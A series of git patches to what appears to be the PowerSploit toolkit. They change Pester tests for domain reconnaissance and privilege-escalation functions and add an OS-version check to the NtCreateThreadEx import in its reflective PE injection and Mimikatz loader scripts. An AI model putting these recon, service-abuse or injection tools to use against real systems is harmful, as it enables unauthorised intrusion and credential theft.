pipeline input" { - if ( ( "$env:computername.$env:userdnsdomain" | Get-NetShare | Measure-Object).count -lt 1) { + if ( ( "$env:computername" | Get-NetShare | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" } } @@ -221,11 +211,6 @@ Describe "Get-NetLoggedon" { Throw "Incorrect loggedon results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetLoggedon -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect loggedon results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetLoggedon -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect loggedon results returned" @@ -237,7 +222,7 @@ Describe "Get-NetLoggedon" { } } It "Should accept pipeline input" { - if ( ( "$env:computername.$env:userdnsdomain" | Get-NetLoggedon | Measure-Object).count -lt 1) { + if ( ( "$env:computername" | Get-NetLoggedon | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" } } @@ -250,11 +235,6 @@ Describe "Get-NetSession" { Throw "Incorrect session results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetSession -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect session results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect session results returned" @@ -269,7 +249,7 @@ Describe "Get-NetSession" { {Get-NetSession -UserName 'Administrator'} | Should Not Throw } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-NetSession} | Should Not Throw + {"$env:computername" | Get-NetSession} | Should Not Throw } } @@ -280,11 +260,6 @@ Describe "Get-NetRDPSession" { Throw "Incorrect session results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetRDPSession -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect session results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetRDPSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect session results returned" @@ -296,7 +271,7 @@ Describe "Get-NetRDPSession" { } } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-NetRDPSession} | Should Not Throw + {"$env:computername" | Get-NetRDPSession} | Should Not Throw } } @@ -305,9 +280,6 @@ Describe "Invoke-CheckLocalAdminAccess" { It "Should Not Throw for localhost" { {Invoke-CheckLocalAdminAccess} | Should Not Throw } - It "Should accept FQDN -ComputerName argument" { - {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw - } It "Should accept NETBIOS -ComputerName argument" { {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername"} | Should Not Throw } @@ -315,7 +287,7 @@ Describe "Invoke-CheckLocalAdminAccess" { {Invoke-CheckLocalAdminAccess -ComputerName $LocalIP} | Should Not Throw } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Invoke-CheckLocalAdminAccess} | Should Not Throw + {"$env:computername" | Invoke-CheckLocalAdminAccess} | Should Not Throw } } @@ -326,11 +298,6 @@ Describe "Get-LastLoggedOn" { Throw "Incorrect loggedon results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-LastLoggedOn -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect loggedon results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-LastLoggedOn -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect loggedon results returned" @@ -342,7 +309,7 @@ Describe "Get-LastLoggedOn" { } } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-LastLoggedOn} | Should Not Throw + {"$env:computername" | Get-LastLoggedOn} | Should Not Throw } } @@ -351,9 +318,6 @@ Describe "Get-CachedRDPConnection" { It "Should Not Throw" { {Get-CachedRDPConnection} | Should Not Throw } - It "Should accept FQDN -ComputerName argument" { - {Get-CachedRDPConnection -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw - } It "Should accept NETBIOS -ComputerName argument" { {Get-CachedRDPConnection -ComputerName "$env:computername"} | Should Not Throw } @@ -361,7 +325,7 @@ Describe "Get-CachedRDPConnection" { {Get-CachedRDPConnection -ComputerName $LocalIP} | Should Not Throw } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-CachedRDPConnection} | Should Not Throw + {"$env:computername" | Get-CachedRDPConnection} | Should Not Throw } } @@ -372,11 +336,6 @@ Describe "Get-NetProcess" { Throw "Incorrect process results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetProcess -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect process results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetProcess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect process results returned" @@ -389,7 +348,7 @@ Describe "Get-NetProcess" { } # TODO: RemoteUserName/RemotePassword It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-NetProcess} | Should Not Throw + {"$env:computername" | Get-NetProcess} | Should Not Throw } } @@ -401,13 +360,13 @@ Describe "Find-InterestingFile" { Describe "Invoke-UserHunter" { It "Should accept -ComputerName argument" { - if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -417,17 +376,12 @@ Describe "Invoke-UserHunter" { Remove-Item -Force ".\targets.txt" } It "Should accept -NoPing flag" { - if ( (Invoke-UserHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + if ( (Invoke-UserHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Invoke-UserHunter -ShowAll | Measure-Object).count -lt 1) { + if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -437,20 +391,20 @@ Describe "Invoke-UserHunter" { Describe "Invoke-StealthUserHunter" { # simple test of the splatting It "Should accept splatting for Invoke-UserHunter" { - {Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername"} | Should Not Throw } } Describe "Invoke-ProcessHunter" { It "Should accept -ComputerName and -UserName arguments" { - if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -460,14 +414,14 @@ Describe "Invoke-ProcessHunter" { Remove-Item -Force ".\targets.txt" } It "Should accept -ProcessName argument" { - if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -ProcessName powershell | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -ProcessName powershell | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -UserFile argument" { "$env:USERNAME" | Out-File -Encoding ASCII target_users.txt - if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -476,17 +430,12 @@ Describe "Invoke-ProcessHunter" { Remove-Item -Force ".\target_users.txt" } It "Should accept -NoPing flag" { - if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Invoke-ProcessHunter -UserName $env:USERNAME | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -495,13 +444,13 @@ Describe "Invoke-ProcessHunter" { Describe "Invoke-ShareFinder" { It "Should accept -ComputerName argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -511,40 +460,35 @@ Describe "Invoke-ShareFinder" { Remove-Item -Force ".\targets.txt" } It "Should accept -ExcludeStandard argument" { - {Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludeStandard} | Should Not Throw + {Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeStandard} | Should Not Throw } It "Should accept -ExcludePrint argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludePrint | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludePrint | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -ExcludeIPC argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludeIPC | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeIPC | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -CheckShareAccess argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -CheckShareAccess | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckShareAccess | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -CheckAdmin argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -CheckAdmin | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckAdmin | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -NoPing argument" { - if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Invoke-ShareFinder | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -553,11 +497,11 @@ Describe "Invoke-ShareFinder" { Describe "Invoke-FileFinder" { It "Should accept -ComputerName argument" { - {Invoke-FileFinder -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -ComputerName "$env:computername"} | Should Not Throw } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt {Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw } } @@ -574,56 +518,53 @@ Describe "Invoke-FileFinder" { Remove-Item -Force ".\shares.txt" } It "Should accept -Terms argument" { - {Invoke-FileFinder -Terms secret,testing -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -Terms secret,testing -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -OfficeDocs argument" { - {Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -FreshEXEs argument" { - {Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -LastAccessTime argument" { - {Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -LastWriteTime argument" { - {Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -ExcludeFolders argument" { - {Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -ExcludeHidden argument" { - {Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -CreationTime argument" { - {Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -OutFile argument" { - {Invoke-FileFinder -ComputerName "$env:computername.$env:userdnsdomain" -OutFile "found_files.csv"} | Should Not Throw + {Invoke-FileFinder -ComputerName "$env:computername" -OutFile "found_files.csv"} | Should Not Throw if(Test-Path -Path .\found_files.csv) { $Null = Remove-Item -Force .\found_files.csv } } It "Should accept -NoPing argument" { - {Invoke-FileFinder -NoPing -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -NoPing -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -Delay and -Jitter arguments" { - {Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain")} | Should Not Throw - } - It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Invoke-FileFinder} | Should Not Throw + {Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername")} | Should Not Throw } } Describe "Find-LocalAdminAccess" { It "Should accept -ComputerName argument" { - if ( (Find-LocalAdminAccess -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Find-LocalAdminAccess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -633,17 +574,12 @@ Describe "Find-LocalAdminAccess" { Remove-Item -Force ".\targets.txt" } It "Should accept -NoPing argument" { - if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Find-LocalAdminAccess | Measure-Object).count -lt 1) { + if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -652,13 +588,13 @@ Describe "Find-LocalAdminAccess" { Describe "Invoke-EnumerateLocalAdmin" { It "Should accept -ComputerName argument" { - if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -668,23 +604,18 @@ Describe "Invoke-EnumerateLocalAdmin" { Remove-Item -Force ".\targets.txt" } It "Should accept -NoPing argument" { - if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { + if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Outfile argument" { - Invoke-EnumerateLocalAdmin -ComputerName "$env:computername.$env:userdnsdomain" -OutFile "local_admins.csv" + Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" -OutFile "local_admins.csv" ".\local_admins.csv" | Should Exist Remove-Item -Force .\local_admins.csv } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Invoke-EnumerateLocalAdmin | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } } From 9ffc26af70ae089405a5c5e8df40ad557818c103 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 14 Dec 2015 19:33:15 -0500 Subject: [PATCH 055/296] Added admin rights check for existing Privesc Pester tests --- Tests/Privesc.tests.ps1 | 46 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 6593c84b..095c9465 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -18,6 +18,10 @@ function Get-RandomName { return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '') } +function Test-IsAdmin { + return ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") +} + ######################################################## # @@ -79,11 +83,16 @@ Describe 'Get-ModifiableFile' { Describe 'Get-ServiceUnquoted' { + if(-not $(Test-IsAdmin)) { + Throw "'Get-ServicePermission' Pester test needs local administrator privileges." + } + It "Should not throw." { {Get-ServiceUnquoted} | Should Not Throw } It 'Should return service with a space in an unquoted binPath.' { + $ServiceName = Get-RandomName $ServicePath = "C:\Program Files\service.exe" @@ -115,6 +124,10 @@ Describe 'Get-ServiceUnquoted' { Describe 'Get-ServiceFilePermission' { + if(-not $(Test-IsAdmin)) { + Throw "'Get-ServiceFilePermission' Pester test needs local administrator privileges." + } + It 'Should not throw.' { {Get-ServiceFilePermission} | Should Not Throw } @@ -155,6 +168,10 @@ Describe 'Get-ServiceFilePermission' { Describe 'Get-ServicePermission' { + if(-not $(Test-IsAdmin)) { + Throw "'Get-ServicePermission' Pester test needs local administrator privileges." + } + It 'Should not throw.' { {Get-ServicePermission} | Should Not Throw } @@ -193,7 +210,11 @@ Describe 'Get-ServiceDetail' { ######################################################## Describe 'Invoke-ServiceAbuse' { - + + if(-not $(Test-IsAdmin)) { + Throw "'Invoke-ServiceAbuse' Pester test needs local administrator privileges." + } + BeforeEach { $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" $Null = sc.exe create "PowerUpService" binPath= $ServicePath @@ -255,6 +276,10 @@ Describe 'Invoke-ServiceAbuse' { Describe 'Install-ServiceBinary' { + if(-not $(Test-IsAdmin)) { + Throw "'Install-ServiceBinary' Pester test needs local administrator privileges." + } + BeforeEach { $ServicePath = "$(Get-Location)\powerup.exe" $Null | Out-File -FilePath $ServicePath -Force @@ -363,6 +388,10 @@ Describe 'Find-DLLHijack' { Describe 'Find-PathHijack' { + if(-not $(Test-IsAdmin)) { + Throw "'Find-PathHijack' Pester test needs local administrator privileges." + } + It 'Should find a hijackable %PATH% folder.' { New-Item -Path C:\PowerUpTest\ -ItemType directory -Force @@ -422,6 +451,11 @@ Describe 'Get-RegAutoLogon' { Describe 'Get-VulnAutoRun' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-VulnAutoRun' Pester test needs local administrator privileges." + } + It 'Should not throw.' { {Get-VulnAutoRun} | Should Not Throw } @@ -451,6 +485,11 @@ Describe 'Get-VulnAutoRun' { ######################################################## Describe 'Get-VulnSchTask' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-VulnSchTask' Pester test needs local administrator privileges." + } + It 'Should not throw.' { {Get-VulnSchTask} | Should Not Throw } @@ -476,6 +515,11 @@ Describe 'Get-VulnSchTask' { Describe 'Get-UnattendedInstallFile' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-UnattendedInstallFile' Pester test needs local administrator privileges." + } + It 'Should not throw.' { {Get-UnattendedInstallFile} | Should Not Throw } From ce3b21685ad74e302cefb39c07bfba9e0e178d9b Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 14 Dec 2015 16:40:04 -0800 Subject: [PATCH 056/296] Bugfix #92: perform OS check when importing NtCreateThreadEx --- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 11 +++++++---- Exfiltration/Invoke-Mimikatz.ps1 | 11 +++++++---- 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 8f4533e8..d164493f 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -710,10 +710,13 @@ $RemoteScriptBlock = { $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf - $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx - $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) - $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + } $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index fc8365b0..835d7a73 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -609,10 +609,13 @@ $RemoteScriptBlock = { $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf - $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx - $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) - $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + } $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) From 00af1656b2832807eadbc062eee80e21918c0276 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 14 Dec 2015 17:26:33 -0800 Subject: [PATCH 057/296] Bugfix #93 Removed the "EndAddress" parameter set since it was never used. This should resolve any parameter set confusion. --- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 14 +------------- Exfiltration/Invoke-Mimikatz.ps1 | 14 +------------- Exfiltration/Invoke-NinjaCopy.ps1 | 14 +------------- 3 files changed, 3 insertions(+), 39 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index d164493f..4a1d0e81 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -912,24 +912,12 @@ $RemoteScriptBlock = { [IntPtr] $StartAddress, - [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] - [IntPtr] - $EndAddress, - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) - [IntPtr]$FinalEndAddress = [IntPtr]::Zero - if ($PsCmdlet.ParameterSetName -eq "Size") - { - [IntPtr]$FinalEndAddress = 